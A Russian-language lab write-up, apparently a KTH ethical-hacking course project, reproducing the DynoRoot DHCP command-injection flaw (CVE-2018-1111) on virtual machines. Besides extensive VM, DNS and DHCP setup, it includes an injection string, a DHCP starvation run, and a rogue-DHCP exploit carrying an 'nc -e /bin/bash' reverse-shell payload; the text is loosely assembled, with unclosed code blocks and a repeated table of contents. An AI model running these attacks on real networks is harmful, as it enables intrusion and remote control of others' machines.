<!-- omit in toc -->
#### Обычная работа
В нормальных ситуациях код будет работать отлично и распарсит новые опции DHCP. Например, следующий код:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

<!-- omit in toc -->
#### Внедрение кода
Однако из-за небезопасного `eval` существует возможность внедрения команд bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

### Источники
- [Запись в базе эксплойтов](https://www.exploit-db.com/exploits/44890)
- [Объявление RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Пост в блоге Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Репозиторий GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Объявление в Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## Настройка
Минимальная настройка для демонстрации эксплойта состоит всего из двух машин: машины `victim` под управлением Fedora 28 и машины `attacker`. В этой настройке атакующему нужно просто предоставить службу DHCP и дождаться подключения жертвы.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>Минимальная настройка эксплойта.</figcaption>
</figure>

Более реалистичная настройка разместит машины в частной сети, где третья машина, `gateway`, настроена как доброкачественный DHCP-сервер и как шлюз к внешнему интернету. В этой настройке атакующему необходимо предотвратить подключение жертвы к легитимному DHCP-серверу, прежде чем надеяться выполнить атаку.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>Настройка частной сети с одной машиной-шлюзом, действующей как DHCP, маршрутизатор и межсетевой экран.</figcaption>
</figure>

В следующих разделах мы:
1. Установим VirtualBox
2. Создадим 3 виртуальные машины: `gateway`, `attacker` и `victim`
3. Установим ОС на машины (пользователи, сеть и доступ по SSH)
4. Настроим шлюз для размещения доброкачественного DHCP-сервера для виртуальной внутренней сети, предоставляемой VirtualBox
5. Установим зависимости Python для атаки

Чтобы [перейти сразу к делу](#performing-the-attack) и пропустить ручную настройку, можно запустить скрипт [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) в папке `ansible`, который (почти) автоматически создаст виртуальные машины и настроит их с помощью [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Просто убедитесь, что Ansible и VirtualBox установлены перед запуском `setup.sh`.

### Предварительные условия

#### Установка VirtualBox
Следующие инструкции взяты из [официального руководства по установке](https://www.virtualbox.org/wiki/Downloads).

Добавьте эту строку в `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

#### Установка Ansible (опционально)
Из [официального руководства для Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

Добавьте следующие записи в конфигурацию SSH (`~/.ssh/config`):```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

Создайте ВМ:
- Сетевой интерфейс 1 подключён к стандартной сети NAT VirtualBox
- Сетевой интерфейс 2 подключён к внутренней сети `intnet`\
  (буква "d" в MAC-адресе означает DHCP)
- Перенаправление портов с порта `600x` на хосте на SSH-порт виртуальной машины```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

#### Установка ОС
При первой загрузке машины нам потребуется виртуальный рабочий стол для выполнения шагов установки. Мы
можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox
запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

Чтобы включить DHCP на внутреннем интерфейсе, отредактируем `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

Выбранное время аренды по умолчанию в 1 минуту довольно мало, но оно полезно для демонстрационных целей.

<!--```bash
echo '
authoritative;

default-lease-time 60;
max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.100 192.168.0.105;
  option domain-name-servers 192.168.0.53;
  option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

sudo systemctl restart isc-dhcp-server

События DHCP записываются в `/var/log/syslog`. Мы можем выделить соответствующие записи с помощью:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Редактируйте `/etc/bind/named.conf.options`:```bash
echo '
options {
  directory "/var/cache/bind";
  allow-query { any; };
  recursion no;
  listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null

Создайте файлы прямой и обратной зоны в папке, доступной только для чтения для bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones

echo '
$TTL    86400 ; Clients will cache DNS responses for 1 day

@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  3     ; Serial
             604800     ; Refresh (1 week)
              86400     ; Retry   (1 day)
            2419200     ; Expire  (4 weeks)
             604800     ; Negative Cache TTL (4 weeks)
)                       ; The values above are only relevant for secondary DNS servers

; name servers
@       IN      NS      dns.100waystocook.pizza.

; 192.168.0.0/24
dns     IN      A       192.168.0.53
server  IN      A       192.168.0.1
www     IN      CNAME   server
mongo   IN      CNAME   server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null

echo '
$TTL    604800
@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  4     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL

; name servers
@     IN      NS      dns.100waystocook.pizza.

; PTR Records
1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null

Включите ключ в `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';

# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
  type master;
  file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
  notify no;

  # grant whoever owns the key the permission to update 
  # the A and TXT records for server.100waystocook.pizza.
  update-policy {
    grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
  };
};

# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
  type master;
  file '/var/lib/bind/zones-dyn/db.192.168.0';
  notify no;

  # grant whoever owns the key the permission to update 
  # the PTR record for IPs in within the reverse zone
  update-policy {
    grant ${KEY_NAME} zonesub PTR;
  };
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null

Запустить проверки и перезапустить:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0

sudo systemctl restart bind9

##### Конфигурация DHCP
Настройте DHCP для автоматического обновления записей DNS:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"

# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
  algorithm HMAC-SHA512;
  secret ${KEY_SECRET};
};
EOF

sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"

echo "
authoritative;

# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;

default-lease-time 120;
max-lease-time 7200;

include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';

zone 100waystocook.pizza. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

zone 0.168.192.in-addr.arpa. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.1 192.168.0.20;
  option domain-name-servers 192.168.0.53;
  option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo systemctl restart isc-dhcp-server

Когда запускается другая машина с именем хоста `fedora`, она получает IP-адрес, но не добавляется в DNS из-за `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED

Но если легитимный `server` на некоторое время выходит из строя, его аренда освобождается, а записи удаляются. Тогда злоумышленник может просто проникнуть, указав `server` в качестве имени хоста при начальном DHCP-обмене.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.

# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

#### OS Install
При первой загрузке машины нам понадобится виртуальный рабочий стол для выполнения шагов установки. Мы можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но этот метод будет работать даже с удаленным хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `attacker`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack

--> [Окружение Conda](https://docs.conda.io/en/latest/) с Scapy:```bash
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc

conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'

DHCP starvation\ Этот скрипт будет заваливать легитимный DHCP фиктивными запросами, истощая пул доступных адресов. ```bash git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
Мошеннический DHCP
После того, как легитимный DHCP исчерпает адреса, этот скрипт будет готов раздавать DHCP-предложения, содержащие вредоносный параметр. Этот скрипт является модифицированной версией оригинального CVE): ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'

Создайте ВМ:
- Сетевой интерфейс 1 подключен к сети NAT по умолчанию VirtualBox
- Сетевой интерфейс 2 подключен к внутренней сети `intnet`\
  ("f" в MAC-адресе означает Fedora)
- Перенаправление портов с порта `600x` на хосте на порт SSH в виртуальной машине```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

#### Установка ОС
Первый раз при загрузке машины нам понадобится виртуальный рабочий стол для следования шагам установки. Мы
можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox работает
на настольном компьютере, возможно, проще запустить виртуальную машину через GUI, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### SSH Login
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

Если нет, его можно настроить с помощью:```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

## Выполнение атаки

Следующие шаги, выполняемые по порядку, продемонстрируют DHCP-атаку.
Рекомендуется настроить терминальный мультиплексор, например [Byobu](https://www.byobu.org/), чтобы упростить переключение между машинами.

Перед атакой:
1. Запустите 3 виртуальные машины, которые автоматически подключатся к легитимному DHCP-серверу
2. Отключите машину Fedora и очистите файлы аренды DHCP, чтобы имитировать новое подключение
3. Перезапустите DHCP-сервер для имитации нового подключения

Сама атака состоит из:
1. Отправка серии поддельных DHCP REQUEST от атакующего, чтобы _истощить_ легитимный DHCP-сервер
2. Запуск мошеннического DHCP-сервера, который будет отправлять вредоносные OFFER жертве
3. Повторное подключение машины Fedora и ожидание, пока NetworkManager отправит широковещательный DHCP DISCOVER
4. Ожидание подключения обратной оболочки

Если что-то пойдет не так, остановите все соответствующие службы и начните заново.

### Шлюз
Очистите старые аренды DHCP и ARP-таблицу, затем перезапустите DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Записывайте DHCP-трафик с помощью `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'

Запустите DHCP starvation (запустите от `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

Запустить атаку (выполнить от имени `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

### Анализ

#### Захват видео
Следующее [видео](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) демонстрирует выполнение атаки в соответствии с приведёнными выше шагами. На видео можно наблюдать:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP как в консоли атакующего, так и в журналах DHCP-сервера (обратите внимание на `NACK` из-за существующей аренды атакующего)
3. Сообщение "no free leases" от `gateway`, когда `victim` передаёт широковещательный DHCP-запрос `DISCOVER`
4. Сформированные DHCP-сообщения подставного DHCP-сервера, предлагающего `192.168.0.2`
5. Подтверждение того, что netcat получил обратное соединение оболочки от `192.168.0.2`
6. Поддельные DNS-опции, полученные `victim`, т.е. DNS-адрес `192.168.0.1` и домен `victim.net`
7. Успешное удалённое выполнение простых команд на машине жертвы
8. DHCP-сообщение `RELEASE`, отправленное в конце атаки

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### Анализ трафика

Файл [захвата](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap), содержащий след атаки, можно проанализировать в
[Wireshark](https://wiki.wireshark.org/DHCP). В захвате можно отметить:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP
3. DHCP-обмен, инициированный `victim` и завершённый `attacker`
4. ARP-запросы _who-has_ и ответы, когда `victim` подключился к netcat-сессии на `attacker`

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>Захват пакетов атаки, опция DHCP, связанная с эксплойтом, выделена. Буквы в MAC-адресах означают: <code>d</code> DHCP-сервер, <code>a</code> атакующий, <code>f</code> жертва Fedora</figcaption>
</figure>

## Дальнейшие работы
DynoRoot нацелен на старые дистрибутивы Fedora и RedHat, и был исправлен в более новых версиях.
Поэтому шансы на выполнение этого эксплойта в реальных условиях ограничены. К счастью, DHCP-атаки
не ограничиваются удалённым выполнением кода: любой тип сформированной опции будет принят клиентом
независимо от наличия уязвимости DynoRoot. Самый простой способ использовать это поведение —
объявить машину под контролем атакующего в качестве сетевого шлюза или DNS для определённой зоны,
что позволит отслеживать, проверять и перенаправлять любой дальнейший трафик.

Ещё одно интересное направление касается атак истощения DHCP. Атака, представленная в этом проекте,
основана на заливании DHCP-сервера `REQUEST`-ами с поддельных MAC-адресов, что не является
примером скрытности. В этой статье блога исследуется возможность
[выполнения атак истощения без отправки ни одного DHCP-пакета](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
но с использованием вместо этого поддельных ARP-ответов.

## Благодарности
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) был сообщён в Red Hat
[Felix Wilhelm](https://twitter.com/_fel1x) из команды безопасности Google.

Скрипт на Python для выполнения эксплойта взят из GitHub
[репозитория](https://github.com/kkirsche/CVE-2018-1111) [Kevin Kirsche](https://github.com/kkirsche)
с небольшими изменениями для игнорирования собственного MAC-адреса атакующего.

FEP3370-advanced-ethical-hacking

Популярное

Введение

Предпосылки

Уязвимость

Общая настройка SSH

Шлюзовая машина

Создание ВМ

DHCP сервер

Forward zone for 100waystocook.pizza

Reverse zone for 192.168.0.0/24

Установка DHCP-сервера для автоматического обновления DNS-записей

Настройка Bind

Ручные проверки

Result

DHCP handshake

DNS update

DHCP renewal

DHCP handshake with attacker

DNS update denied

Атакующий

Создание ВМ

Программные зависимости

Fedora Victim

Создание ВМ

Сеть

Атакующий

Жертва

FEP3370-advanced-ethical-hacking

Популярное

DynoRoot CVE-2018-1111

Финальный проект курса Advanced Ethical Hacking в KTH, Стокгольм

Содержание:

Введение

Предпосылки

Уязвимость

Общая настройка SSH

Шлюзовая машина

Создание ВМ

DHCP сервер

Forward zone for 100waystocook.pizza

Reverse zone for 192.168.0.0/24

Установка DHCP-сервера для автоматического обновления DNS-записей

Настройка Bind

Ручные проверки

Result

DHCP handshake

DNS update

DHCP renewal

DHCP handshake with attacker

DNS update denied

Атакующий

Создание ВМ

Программные зависимости

Fedora Victim

Создание ВМ

Сеть

Атакующий

Жертва